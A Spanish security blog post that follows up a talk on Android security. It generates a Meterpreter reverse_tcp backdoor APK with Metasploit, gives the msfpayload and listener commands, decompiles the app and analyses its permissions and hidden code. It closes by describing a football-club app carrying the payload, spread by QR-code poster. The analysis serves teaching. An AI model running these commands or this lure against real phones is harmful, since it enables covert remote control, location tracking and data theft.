Muy grande la jornada que echamos en la Hack & Beers Vol.2 sobre Mobile Security con muchos amigos. Agradeceros a todos, asistentes y compañeros de charlas, vuestras aportaciones e interés. Pues bien, siguiendo con la charla de seguridad de Android y viendo qué tan fácil es hacerle la ingeniería inversa a una APK de Android, nosotros vamos a ir un poco más allá y vamos a obtener el código fuente de un APK maliciosa creada por Metaesploit, así que vamos manos a la obra.
Antes de nada os muestro lo que sería el supuesto escenario de ataque de manera visual para que lo entendáis mejor:
CREANDO UNA APK MALICIOSA
Vamos a crear una APK para Android maliciosa, para ello lo haremos desde Kali Linux, haciendo uso de las herramientas del framework Metasploit. Desde consola vamos a usar el comando msfpayload para inyectar un payload dentro de la APK.
Primero vemos los payload disponibles para Android:
Vamos a seleccionar un payload que nos devuelva una sesión de meterpreter y que sea del tipo reverse_tcp. Para ello ponemos el siguiente comando:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > backdoor.apk
Además también hemos configurando el equipo al que se conecta (LHOST) y el puerto de conexón (LPORT), para inyectarlo en la aplicación maliciosa.
De esta manera cualquier usuario que se instale la APK (backdoor.apk) va a lanzar una sesión de meterpreter a la máquina 192.168.1.10 que estará escuchando en el puerto 4444 (ver el escenario de ataque). Para que la máquina con Metasploit esté escuchando debemos hacer uso del exploit/multi/handler con el payload android/meterpreter/reverse_tcp y configurarlo con los parámetros con los cuales creamos la aplicación maliciosa.
msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 E
Pero el objetivo de hoy no es compromenter el terminal, sino obtener el código de dicha aplicación maliciosa para analizarlo.
INGENIERÍA INVERSA DE LA APK
Una vez que tenemos la backdoor.apk vamos a seguir los siguientes pasos, haciendo uso de herramientas (apktool, dex2jar y jd-gui) que ya nombramos en entradas anteriores:
Obtención del fichero de manifiesto:
- Desempaquetamos la APK con la aplicación apktool "apktool d backdoor.apk" y se nos crea una carpeta con con varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de manifiesto AndroidManifest.xml.
Obtención de los ficheros JAVA:
- Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que llamaremos backdoor-zip. El fichero que más nos interesa es el classes.dex, donde tendremos las clases de la aplicación en formato dex (código para la Dalvik VM).
- Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicación en formato jar.
- Por último cogemos el fichero jar y los abrimos con la aplicación jd-gui. Podemos ver todas las clases de la aplicación en formato java. Ahora pulsamos sobre File > Save All Sources y grabamos dichos ficheros en la carpeta que indiquemos, obtenemos el paquete classes_dex2jar.src.zip con todas las clases
ANALIZANDO CÓDIGO
Primeramente vamos a analizar el archivo de manifiesto AndroidManifest.xml.
Permisos que solicita:
- android.permission.INTERNET: Permite a las aplicaciones abrir sockets de red.
- android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a información sobre redes.
- android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicación acceda a la ubicación aproximada derivado de las fuentes de ubicación de red, tales como torres de telefonía móvil y Wi-Fi.
- android.permission.ACCESS_FINE_LOCATION: Permite que una aplicación acceda a la ubicación precisa de fuentes de localización como GPS, antenas de telefonía móvil y Wi-Fi.
- android.permission.READ_PHONE_STATE: Permite acceso al estado del teléfono
- android.permission.SEND_SMS: Permite que una aplicación envíe mensajes SMS.
- android.permission.RECEIVE_SMS: Permite que una aplicación reciba mensajes SMS.
- android.permission.RECORD_AUDIO: Permite que una aplicación para grabar audio
- android.permission.CALL_PHONE: Permite que una aplicación para iniciar una llamada de teléfono sin tener que pasar a través de la interfaz de usuario del sintonizador para el usuario para confirmar la llamada de ser colocado.
- android.permission.READ_CONTACTS: Permite que una aplicación lea los datos de Contactos del usuario.
- android.permission.WRITE_CONTACTS: Permite que una aplicación escriba en los datos de Contactos del usuario.
- android.permission.WRITE_SETTINGS: Permite que una aplicación leer o escribir la configuración del sistema.
- android.permission.CAMERA: Acceso a todas las funciones de la cámara.
Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de manera remota, ya que tenemos permiso para abrir socket y cambiar configuración de sistema. Podemos hacer llamadas a números de tarificación especial, obtención de fotografías en vivo, venta de contactos a terceros, grabar las coversaciones, localizar a la persona por su posición GPS y un largo etc.
Otra información interesanse que podemos encontrar es la siguiente:
- android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad principal, es decir, cuando arranca la aplicación es la clase que tiene el hilo principal de ejecución. Muy importante a la hora de que analicemos el código y saber desde donde empezar.
- android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro código simplemente se va a ejecutar y no nos va a mostrar nada en pantalla, eso si, en memoria si va a estar presente.
Pasamos ahora a analizar los archivos .JAVA encontrados en el classes_dex2jar.src.zip:
Si controlamos algo de temas de programación en Android, a simple vista podemos identificar la función de cada fichero de código:
- MainActivity.java: clase principal de la aplicación, ya que lo vimos en el manifiesto.
- BuildConfig.java: clase con información de configuración a la hora de desarrollar la apk.
- R.java: clase que se crea automáticamente en cualquier aplicación apk, donde se asigna un identificador numérico a cada uno de los recursos utilizados en la aplicación.
- Payload.java y PayloadTrusManage.java: son clases propias del proyecto en si, que ahora pasaremos a analizar.
Podemos encontrar que nada más crearse la actividad principal (método onCreate) y llamar al constructor de la clase (super.onCreate), lo siguiente que hace es llamar a un método de clase de la clase Payload, para posteriormente finalizar la ejecución (finish). Seguramente en este método de clase se lance otro hilo de ejecución, ya que el hilo principal muere con el finish. Vamos a ver la clase Payload:
Para empezar vemos en el código que hay gran cantidad de librerías importadas que nos dan mucho juego como manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros (File y FileOutputStream), socket (Socket), conexiones https (HttpsURLConnection), etc.
Si seguimos viendo código, en la declaración de atributos de la clase Payload vemos dos atributos bastante interesantes: LHOST y LPORT, que no son sino la dirección IP y el puerto de conexión de nuestra máquina donde estará escuchando Metasploit. Vemos que forman parte de unas cadenas con más caracteres, de manera que un analizador de código no pueda identificar fácilmente una dirección IP o puerto.
UTILIZANDO EL CÓDIGO Y UN POQUITO DE INGENIERÍA SOCIAL
Podíamos seguir analizando el código fuente paso a paso y obtener funciones como reverseTCP, reverseHTTP, startReverseConn, etc. Pero en vez de eso, hemos creado una aplicación del Córdoba C.F., aprovechando que somos equipo de primera, y le hemos inyectado el código del Payload analizado.
Esto lo podría utilizar una persona con malas intenciones y ahora sólo tendría que echar la imaginación a volar y utilizar la Ingeniería Social para divulgar la APK maliciosa, como por ejemplo colgar este cartel en los alrededores del estadio.
Os podéis descargar sin problemas la APK desde el código QR porque la aplicación está apuntando a una dirección IP local y porque le he quitado todo el código referente a las funciones de meterpreter, es decir, sólo realiza la conexión reverse_tcp, pero no responde bajo ningún comando de los de meterpreter.
Todo este contenido viene a complementar la charla de Seguridad en Android de la Hack & Beers Vol.2. Si no pudisteis asistir aquí os dejo el enlace de mi presentación (Seguridad en Android.pdf) y el de las charlas (http://new.livestream.com/cosfera/hbodb).
Quiero dar de nuevo las gracias a Miguel Ángel Arroyo de Hacking Ético por contar conmigo para la Hack & Beers. Espero que os haya gustado !!
Un handshake para todos
"Pues conseguir cien victorias en cien batallas no constituye la mayor habilidad. Dominar al enemigo sin luchar, esta sí es la más alta habilidad"
Gichin Funakoshi